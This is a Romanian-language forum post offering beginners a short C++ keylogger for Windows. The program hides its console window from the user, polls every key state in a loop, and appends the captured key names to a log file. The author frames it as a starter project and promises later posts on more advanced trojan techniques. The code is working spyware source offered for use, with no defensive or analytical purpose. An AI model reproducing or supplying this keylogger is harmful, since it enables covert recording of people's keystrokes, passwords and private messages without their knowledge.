Jump to content
SlicK

Keylogger

Recommended Posts

Un exepmplu foarte simplu despre cum sa iti faci propriul keylogger in C++.

Sunt foarte multe multe coduri aproape identice cu acesta pe net dar este foarte bun pentru incepatori.


#include <windows.h>
#include <stdio.h>

int main()
{
AllocConsole(); //alocam o consola
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); //ascundem consola de user

FILE *Log;
short key;
char szKey[MAX_PATH];
int scan;

while(1) // loop infinit
{
Sleep(10); //pentru a evita "CPU Usage 100%"
for(key=0;key<256;key++) //incercam toate codurile tastelor
{
if(GetAsyncKeyState(key)==-32767) //o tasta este apasata
{
scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0)); //traducem codul tastei
GetKeyNameText(scan << 16,szKey,MAX_PATH); //numele tastei
Log=fopen ("log.txt","a+"); // deschidem fisierul
fprintf(Log,"[%s]",szKey); //scriem numele tastei in log
fclose(Log); //inchidem fisierul
}
}
}
}

Eu personal l-am compilat cu Dev-C++ dar puteti incerca cu orice alt compilator C++.

Daca va da o eroare adaugati "#include <iostream>" sau "#include <iostream.h>"

Sper sa il intelegeti pentru ca mai tarziu o sa postez despre tehnici mai avansate legate de trojane

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...